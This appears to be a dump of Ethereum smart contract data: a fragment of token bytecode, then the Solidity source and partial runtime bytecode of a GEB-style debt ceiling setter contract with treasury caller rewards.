6890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea264697066735822122016a9b0d49f1bf824aaf69728ebbcd00468bcd41b9a22a3a1fd46725e8f229efa64736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 2,673 |
0xb2df48a0c4a07031f538353aa35d7ffa24e25ec1
|
pragma solidity ^0.6.7;
contract GebMath {
uint256 public constant RAY = 10 ** 27;
uint256 public constant WAD = 10 ** 18;
function ray(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 9);
}
function rad(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 27);
}
function minimum(uint x, uint y) public pure returns (uint z) {
z = (x <= y) ? x : y;
}
function addition(uint x, uint y) public pure returns (uint z) {
z = x + y;
require(z >= x, "uint-uint-add-overflow");
}
function subtract(uint x, uint y) public pure returns (uint z) {
z = x - y;
require(z <= x, "uint-uint-sub-underflow");
}
function multiply(uint x, uint y) public pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow");
}
function rmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / RAY;
}
function rdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, RAY) / y;
}
function wdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, WAD) / y;
}
function wmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / WAD;
}
function rpower(uint x, uint n, uint base) public pure returns (uint z) {
assembly {
switch x case 0 {switch n case 0 {z := base} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := base } default { z := x }
let half := div(base, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, base)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, base)
}
}
}
}
}
}
abstract contract StabilityFeeTreasuryLike {
function getAllowance(address) virtual external view returns (uint, uint);
function systemCoin() virtual external view returns (address);
function pullFunds(address, address, uint) virtual external;
}
contract IncreasingTreasuryReimbursement is GebMath {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
function addAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
function removeAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "IncreasingTreasuryReimbursement/account-not-authorized");
_;
}
// --- Variables ---
// Starting reward for the fee receiver/keeper
uint256 public baseUpdateCallerReward; // [wad]
// Max possible reward for the fee receiver/keeper
uint256 public maxUpdateCallerReward; // [wad]
// Max delay taken into consideration when calculating the adjusted reward
uint256 public maxRewardIncreaseDelay; // [seconds]
// Rate applied to baseUpdateCallerReward every extra second passed beyond a certain point (e.g next time when a specific function needs to be called)
uint256 public perSecondCallerRewardIncrease; // [ray]
// SF treasury
StabilityFeeTreasuryLike public treasury;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(
bytes32 parameter,
address addr
);
event ModifyParameters(
bytes32 parameter,
uint256 val
);
event FailRewardCaller(bytes revertReason, address feeReceiver, uint256 amount);
constructor(
address treasury_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_
) public {
if (address(treasury_) != address(0)) {
require(StabilityFeeTreasuryLike(treasury_).systemCoin() != address(0), "IncreasingTreasuryReimbursement/treasury-coin-not-set");
}
require(maxUpdateCallerReward_ >= baseUpdateCallerReward_, "IncreasingTreasuryReimbursement/invalid-max-caller-reward");
require(perSecondCallerRewardIncrease_ >= RAY, "IncreasingTreasuryReimbursement/invalid-per-second-reward-increase");
authorizedAccounts[msg.sender] = 1;
treasury = StabilityFeeTreasuryLike(treasury_);
baseUpdateCallerReward = baseUpdateCallerReward_;
maxUpdateCallerReward = maxUpdateCallerReward_;
perSecondCallerRewardIncrease = perSecondCallerRewardIncrease_;
maxRewardIncreaseDelay = uint(-1);
emit AddAuthorization(msg.sender);
emit ModifyParameters("treasury", treasury_);
emit ModifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
emit ModifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
emit ModifyParameters("perSecondCallerRewardIncrease", perSecondCallerRewardIncrease);
}
// --- Boolean Logic ---
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
// --- Treasury ---
/**
* @notice This returns the stability fee treasury allowance for this contract by taking the minimum between the per block and the total allowances
**/
function treasuryAllowance() public view returns (uint256) {
(uint total, uint perBlock) = treasury.getAllowance(address(this));
return minimum(total, perBlock);
}
/*
* @notice Get the SF reward that can be sent to a function caller right now
*/
function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) {
bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0);
if (either(timeOfLastUpdate >= now, nullRewards)) return 0;
uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate);
if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) {
return 0;
}
uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls);
uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY);
if (adjustedTime > maxRewardIncreaseDelay) {
return maxPossibleReward;
}
uint256 calculatedReward = baseUpdateCallerReward;
if (adjustedTime > 0) {
calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward);
}
if (calculatedReward > maxPossibleReward) {
calculatedReward = maxPossibleReward;
}
return calculatedReward;
}
/**
* @notice Send a stability fee reward to an address
* @param proposedFeeReceiver The SF receiver
* @param reward The system coin amount to send
**/
function rewardCaller(address proposedFeeReceiver, uint256 reward) internal {
if (address(treasury) == proposedFeeReceiver) return;
if (either(address(treasury) == address(0), reward == 0)) return;
address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver;
try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {}
catch(bytes memory revertReason) {
emit FailRewardCaller(revertReason, finalFeeReceiver, reward);
}
}
}
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate, // [ray]
uint256 safetyPrice, // [ray]
uint256 debtCeiling // [rad]
);
function globalDebtCeiling() virtual public view returns (uint256);
function modifyParameters(
bytes32 parameter,
uint256 data
) virtual external;
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) virtual external;
}
abstract contract OracleRelayerLike {
function redemptionRate() virtual public view returns (uint256);
}
contract SingleSpotDebtCeilingSetter is IncreasingTreasuryReimbursement {
// --- Auth ---
mapping (address => uint256) public manualSetters;
function addManualSetter(address account) external isAuthorized {
manualSetters[account] = 1;
emit AddAuthorization(account);
}
function removeManualSetter(address account) external isAuthorized {
manualSetters[account] = 0;
emit RemoveAuthorization(account);
}
modifier isManualSetter {
require(manualSetters[msg.sender] == 1, "SingleSpotDebtCeilingSetter/not-manual-setter");
_;
}
// --- Variables ---
// The max amount of system coins that can be generated using this collateral type
uint256 public maxCollateralCeiling; // [rad]
// The min amount of system coins that must be generated using this collateral type
uint256 public minCollateralCeiling; // [rad]
// Percentage change applied to the collateral's debt ceiling
uint256 public ceilingPercentageChange; // [hundred]
// When the price feed was last updated
uint256 public lastUpdateTime; // [timestamp]
// Enforced gap between calls
uint256 public updateDelay; // [seconds]
// Last timestamp of a manual update
uint256 public lastManualUpdateTime; // [seconds]
// Flag that blocks an increase in the debt ceiling when the redemption rate is positive
uint256 public blockIncreaseWhenRevalue;
// Flag that blocks a decrease in the debt ceiling when the redemption rate is negative
uint256 public blockDecreaseWhenDevalue;
// The collateral's name
bytes32 public collateralName;
// The SAFEEngine contract
SAFEEngineLike public safeEngine;
// The OracleRelayer contract
OracleRelayerLike public oracleRelayer;
// --- Events ---
event AddManualSetter(address account);
event RemoveManualSetter(address account);
event UpdateCeiling(uint256 nextCeiling);
constructor(
address safeEngine_,
address oracleRelayer_,
address treasury_,
bytes32 collateralName_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_,
uint256 updateDelay_,
uint256 ceilingPercentageChange_,
uint256 maxCollateralCeiling_,
uint256 minCollateralCeiling_
) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) {
require(safeEngine_ != address(0), "SingleSpotDebtCeilingSetter/invalid-safe-engine");
require(oracleRelayer_ != address(0), "SingleSpotDebtCeilingSetter/invalid-oracle-relayer");
require(updateDelay_ > 0, "SingleSpotDebtCeilingSetter/invalid-update-delay");
require(both(ceilingPercentageChange_ > HUNDRED, ceilingPercentageChange_ <= THOUSAND), "SingleSpotDebtCeilingSetter/invalid-percentage-change");
require(minCollateralCeiling_ > 0, "SingleSpotDebtCeilingSetter/invalid-min-ceiling");
require(both(maxCollateralCeiling_ > 0, maxCollateralCeiling_ > minCollateralCeiling_), "SingleSpotDebtCeilingSetter/invalid-max-ceiling");
manualSetters[msg.sender] = 1;
safeEngine = SAFEEngineLike(safeEngine_);
oracleRelayer = OracleRelayerLike(oracleRelayer_);
collateralName = collateralName_;
updateDelay = updateDelay_;
ceilingPercentageChange = ceilingPercentageChange_;
maxCollateralCeiling = maxCollateralCeiling_;
minCollateralCeiling = minCollateralCeiling_;
lastManualUpdateTime = now;
// Check that the oracleRelayer has the redemption rate in it
oracleRelayer.redemptionRate();
emit ModifyParameters("updateDelay", updateDelay);
emit ModifyParameters("ceilingPercentageChange", ceilingPercentageChange);
emit ModifyParameters("maxCollateralCeiling", maxCollateralCeiling);
emit ModifyParameters("minCollateralCeiling", minCollateralCeiling);
}
// --- Math ---
uint256 constant HUNDRED = 100;
uint256 constant THOUSAND = 1000;
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- Management ---
/*
* @notify Modify the treasury or the oracle relayer address
* @param parameter The contract address to modify
* @param addr The new address for the contract
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
if (parameter == "treasury") {
require(StabilityFeeTreasuryLike(addr).systemCoin() != address(0), "SingleSpotDebtCeilingSetter/treasury-coin-not-set");
treasury = StabilityFeeTreasuryLike(addr);
}
else if (parameter == "oracleRelayer") {
require(addr != address(0), "SingleSpotDebtCeilingSetter/null-addr");
oracleRelayer = OracleRelayerLike(addr);
// Check that it has the redemption rate
oracleRelayer.redemptionRate();
}
else revert("SingleSpotDebtCeilingSetter/modify-unrecognized-param");
emit ModifyParameters(
parameter,
addr
);
}
/*
* @notify Modify an uint256 param
* @param parameter The name of the parameter to modify
* @param val The new parameter value
*/
function modifyParameters(bytes32 parameter, uint256 val) external isAuthorized {
if (parameter == "baseUpdateCallerReward") {
require(val <= maxUpdateCallerReward, "SingleSpotDebtCeilingSetter/invalid-base-caller-reward");
baseUpdateCallerReward = val;
}
else if (parameter == "maxUpdateCallerReward") {
require(val >= baseUpdateCallerReward, "SingleSpotDebtCeilingSetter/invalid-max-caller-reward");
maxUpdateCallerReward = val;
}
else if (parameter == "perSecondCallerRewardIncrease") {
require(val >= RAY, "SingleSpotDebtCeilingSetter/invalid-caller-reward-increase");
perSecondCallerRewardIncrease = val;
}
else if (parameter == "maxRewardIncreaseDelay") {
require(val > 0, "SingleSpotDebtCeilingSetter/invalid-max-increase-delay");
maxRewardIncreaseDelay = val;
}
else if (parameter == "updateDelay") {
require(val >= 0, "SingleSpotDebtCeilingSetter/invalid-call-gap-length");
updateDelay = val;
}
else if (parameter == "maxCollateralCeiling") {
require(both(maxCollateralCeiling > 0, maxCollateralCeiling > minCollateralCeiling), "SingleSpotDebtCeilingSetter/invalid-max-ceiling");
maxCollateralCeiling = val;
}
else if (parameter == "minCollateralCeiling") {
require(minCollateralCeiling > 0, "SingleSpotDebtCeilingSetter/invalid-min-ceiling");
minCollateralCeiling = val;
}
else if (parameter == "ceilingPercentageChange") {
require(both(val > HUNDRED, val <= THOUSAND), "SingleSpotDebtCeilingSetter/invalid-percentage-change");
ceilingPercentageChange = val;
}
else if (parameter == "lastUpdateTime") {
require(val > now, "SingleSpotDebtCeilingSetter/invalid-update-time");
lastUpdateTime = val;
}
else if (parameter == "blockIncreaseWhenRevalue") {
require(either(val == 1, val == 0), "SingleSpotDebtCeilingSetter/invalid-block-increase-value");
blockIncreaseWhenRevalue = val;
}
else if (parameter == "blockDecreaseWhenDevalue") {
require(either(val == 1, val == 0), "SingleSpotDebtCeilingSetter/invalid-block-decrease-value");
blockDecreaseWhenDevalue = val;
}
else revert("SingleSpotDebtCeilingSetter/modify-unrecognized-param");
emit ModifyParameters(
parameter,
val
);
}
// --- Utils ---
/*
* @notify Internal function meant to modify the collateral's debt ceiling as well as the global debt ceiling (if needed)
* @param nextDebtCeiling The new ceiling to set
*/
function setCeiling(uint256 nextDebtCeiling) internal {
(uint256 debtAmount, uint256 accumulatedRate, uint256 safetyPrice, uint256 currentDebtCeiling) = safeEngine.collateralTypes(collateralName);
if (safeEngine.globalDebtCeiling() < nextDebtCeiling) {
safeEngine.modifyParameters("globalDebtCeiling", nextDebtCeiling);
}
if (currentDebtCeiling != nextDebtCeiling) {
safeEngine.modifyParameters(collateralName, "debtCeiling", nextDebtCeiling);
emit UpdateCeiling(nextDebtCeiling);
}
}
// --- Auto Updates ---
/*
* @notify Periodically updates the debt ceiling. Can be called by anyone
* @param feeReceiver The address that will receive the reward for updating the ceiling
*/
function autoUpdateCeiling(address feeReceiver) external {
// Check that the update time is not in the future
require(lastUpdateTime < now, "SingleSpotDebtCeilingSetter/update-time-in-the-future");
// Check delay between calls
require(either(subtract(now, lastUpdateTime) >= updateDelay, lastUpdateTime == 0), "SingleSpotDebtCeilingSetter/wait-more");
// Get the caller's reward
uint256 callerReward = getCallerReward(lastUpdateTime, updateDelay);
// Update lastUpdateTime
lastUpdateTime = now;
// Get the next ceiling and set it
uint256 nextCollateralCeiling = getNextCollateralCeiling();
setCeiling(nextCollateralCeiling);
// Pay the caller for updating the rate
rewardCaller(feeReceiver, callerReward);
}
// --- Manual Updates ---
/*
* @notify Authed function that allows manualSetters to update the debt ceiling whenever they want
*/
function manualUpdateCeiling() external isManualSetter {
require(now > lastManualUpdateTime, "SingleSpotDebtCeilingSetter/cannot-update-twice-same-block");
uint256 nextCollateralCeiling = getNextCollateralCeiling();
lastManualUpdateTime = now;
setCeiling(nextCollateralCeiling);
}
// --- Getters ---
/*
* @notify View function meant to return the new and upcoming debt ceiling. It also applies checks regarding re or devaluation blocks
*/
function getNextCollateralCeiling() public view returns (uint256) {
(uint256 debtAmount, uint256 accumulatedRate, uint256 safetyPrice, uint256 currentDebtCeiling) = safeEngine.collateralTypes(collateralName);
uint256 adjustedCurrentDebt = multiply(debtAmount, accumulatedRate);
if (debtAmount == 0) return minCollateralCeiling;
uint256 updatedCeiling = multiply(adjustedCurrentDebt, ceilingPercentageChange) / HUNDRED;
if (updatedCeiling <= minCollateralCeiling) return minCollateralCeiling;
else if (updatedCeiling >= maxCollateralCeiling) return maxCollateralCeiling;
uint256 redemptionRate = oracleRelayer.redemptionRate();
if (either(
allowsIncrease(redemptionRate, currentDebtCeiling, updatedCeiling),
allowsDecrease(redemptionRate, currentDebtCeiling, updatedCeiling))
) return updatedCeiling;
return currentDebtCeiling;
}
/*
* @notify View function meant to return the new and upcoming debt ceiling
*/
function getUpdatedCeiling() external view returns (uint256) {
(uint256 debtAmount, uint256 accumulatedRate, uint256 safetyPrice, uint256 currentDebtCeiling) = safeEngine.collateralTypes(collateralName);
uint256 adjustedCurrentDebt = multiply(debtAmount, accumulatedRate);
return multiply(adjustedCurrentDebt, ceilingPercentageChange) / HUNDRED;
}
/*
* @notify View function meant to return whether an increase in the debt ceiling is currently allowed
*/
function allowsIncrease(uint256 redemptionRate, uint256 currentDebtCeiling, uint256 updatedCeiling) public view returns (bool allowIncrease) {
allowIncrease = either(redemptionRate <= RAY, both(redemptionRate > RAY, blockIncreaseWhenRevalue == 0));
allowIncrease = both(currentDebtCeiling <= updatedCeiling, allowIncrease);
}
/*
* @notify View function meant to return whether a decrease in the debt ceiling is currently allowed
*/
function allowsDecrease(uint256 redemptionRate, uint256 currentDebtCeiling, uint256 updatedCeiling) public view returns (bool allowDecrease) {
allowDecrease = either(redemptionRate >= RAY, both(redemptionRate < RAY, blockDecreaseWhenDevalue == 0));
allowDecrease = both(currentDebtCeiling >= updatedCeiling, allowDecrease);
}
}
|
0x608060405234801561001057600080fd5b506004361061027f5760003560e01c80636a1460241161015c578063c6e591e6116100ce578063dd2d2a1211610087578063dd2d2a1214610ace578063ee66a77c14610b1a578063f238ffd214610b5e578063f5ced58214610baa578063f752fdc314610bc8578063fe4f589014610c145761027f565b8063c6e591e61461095c578063c8f33c91146109a0578063cb5ec87a146109be578063cc1c5b0e14610a02578063d6e882dc14610a5a578063dbef330614610ab05761027f565b8063a087163711610120578063a08716371461083e578063a1cb203b1461088a578063b2fe6034146108e4578063b360388914610902578063bb3162d814610920578063c6728c5d1461093e5761027f565b80636a146024146107965780638e632da3146107b457806394f3f81d146107d25780639b42127f146108165780639c7d6c0d146108345761027f565b806343943b6b116101f5578063552033c4116101b9578063552033c41461065a578063554f94db1461067857806361d027b3146106965780636614f010146106e057806367aea3131461072e57806369dec276146107785761027f565b806343943b6b1461054657806346f3e81c14610564578063498c02fd146105a65780634faf61ab146105c457806354f363a31461060e5761027f565b806324447de41161024757806324447de41461039a57806324ba5884146103f45780633425677e1461044c57806335b281531461046a5780633c8bb3e6146104ae5780633ef5e445146104fa5761027f565b8063056640b71461028457806310213447146102d0578063165c4a16146103125780631c1f908c1461035e5780632009e5681461037c575b600080fd5b6102ba6004803603604081101561029a57600080fd5b810190808035906020019092919080359060200190929190505050610c4c565b6040518082815260200191505060405180910390f35b6102fc600480360360208110156102e657600080fd5b8101908080359060200190929190505050610c75565b6040518082815260200191505060405180910390f35b6103486004803603604081101561032857600080fd5b810190808035906020019092919080359060200190929190505050610c8c565b6040518082815260200191505060405180910390f35b610366610d21565b6040518082815260200191505060405180910390f35b610384610d27565b6040518082815260200191505060405180910390f35b6103da600480360360608110156103b057600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610d2d565b604051808215151515815260200191505060405180910390f35b6104366004803603602081101561040a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d7c565b6040518082815260200191505060405180910390f35b610454610d94565b6040518082815260200191505060405180910390f35b6104ac6004803603602081101561048057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e91565b005b6104e4600480360360408110156104c457600080fd5b810190808035906020019092919080359060200190929190505050610fd2565b6040518082815260200191505060405180910390f35b6105306004803603604081101561051057600080fd5b810190808035906020019092919080359060200190929190505050610ff7565b6040518082815260200191505060405180910390f35b61054e61107a565b6040518082815260200191505060405180910390f35b6105906004803603602081101561057a57600080fd5b8101908080359060200190929190505050611080565b6040518082815260200191505060405180910390f35b6105ae61109f565b6040518082815260200191505060405180910390f35b6105cc6110a5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106446004803603604081101561062457600080fd5b8101908080359060200190929190803590602001909291905050506110cb565b6040518082815260200191505060405180910390f35b61066261114e565b6040518082815260200191505060405180910390f35b61068061115e565b6040518082815260200191505060405180910390f35b61069e611164565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61072c600480360360408110156106f657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118a565b005b6107366115ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610780611614565b6040518082815260200191505060405180910390f35b61079e61161a565b6040518082815260200191505060405180910390f35b6107bc611626565b6040518082815260200191505060405180910390f35b610814600480360360208110156107e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061162c565b005b61081e61176d565b6040518082815260200191505060405180910390f35b61083c611773565b005b6108746004803603604081101561085457600080fd5b810190808035906020019092919080359060200190929190505050611884565b6040518082815260200191505060405180910390f35b6108ca600480360360608110156108a057600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506118ad565b604051808215151515815260200191505060405180910390f35b6108ec6118fc565b6040518082815260200191505060405180910390f35b61090a611902565b6040518082815260200191505060405180910390f35b610928611908565b6040518082815260200191505060405180910390f35b61094661190e565b6040518082815260200191505060405180910390f35b61099e6004803603602081101561097257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b45565b005b6109a8611c87565b6040518082815260200191505060405180910390f35b610a00600480360360208110156109d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c8d565b005b610a4460048036036020811015610a1857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d98565b6040518082815260200191505060405180910390f35b610a9a60048036036060811015610a7057600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611db0565b6040518082815260200191505060405180910390f35b610ab8611e76565b6040518082815260200191505060405180910390f35b610b0460048036036040811015610ae457600080fd5b810190808035906020019092919080359060200190929190505050611e7c565b6040518082815260200191505060405180910390f35b610b5c60048036036020811015610b3057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e96565b005b610b9460048036036040811015610b7457600080fd5b810190808035906020019092919080359060200190929190505050611fd8565b6040518082815260200191505060405180910390f35b610bb26120ea565b6040518082815260200191505060405180910390f35b610bfe60048036036040811015610bde57600080fd5b8101908080359060200190929190803590602001909291905050506121f6565b6040518082815260200191505060405180910390f35b610c4a60048036036040811015610c2a57600080fd5b81019080803590602001909291908035906020019092919050505061221b565b005b60006b033b2e3c9fd0803ce8000000610c658484610c8c565b81610c6c57fe5b04905092915050565b6000610c8582633b9aca00610c8c565b9050919050565b600080821480610ca95750828283850292508281610ca657fe5b04145b610d1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75696e742d75696e742d6d756c2d6f766572666c6f770000000000000000000081525060200191505060405180910390fd5b92915050565b60015481565b60035481565b6000610d646b033b2e3c9fd0803ce8000000851015610d5f6b033b2e3c9fd0803ce800000087106000600e54146129a8565b6129b5565b9050610d7382841015826129a8565b90509392505050565b60006020528060005260406000206000915090505481565b6000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb5a662e306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050604080518083038186803b158015610e3757600080fd5b505afa158015610e4b573d6000803e3d6000fd5b505050506040513d6040811015610e6157600080fd5b81019080805190602001909291908051906020019092919050505091509150610e8a8282611e7c565b9250505090565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061343d6036913960400191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f700010281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000670de0b6b3a7640000610fe78484610c8c565b81610fee57fe5b04905092915050565b6000818303905082811115611074576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f75696e742d75696e742d7375622d756e646572666c6f7700000000000000000081525060200191505060405180910390fd5b92915050565b60045481565b6000611098826b033b2e3c9fd0803ce8000000610c8c565b9050919050565b60085481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000818301905082811015611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75696e742d75696e742d6164642d6f766572666c6f770000000000000000000081525060200191505060405180910390fd5b92915050565b6b033b2e3c9fd0803ce800000081565b600b5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061343d6036913960400191505060405180910390fd5b7f747265617375727900000000000000000000000000000000000000000000000082141561139557600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112a757600080fd5b505afa1580156112bb573d6000803e3d6000fd5b505050506040513d60208110156112d157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061340c6031913960400191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061157f565b7f6f7261636c6552656c617965720000000000000000000000000000000000000082141561152d57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611443576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131886025913960400191505060405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663540385a36040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ec57600080fd5b505afa158015611500573d6000803e3d6000fd5b505050506040513d602081101561151657600080fd5b81019080805190602001909291905050505061157e565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603581526020018061326a6035913960400191505060405180910390fd5b5b7fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d18282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b670de0b6b3a764000081565b60095481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146116c3576040517f08c379a00000000000000000000000000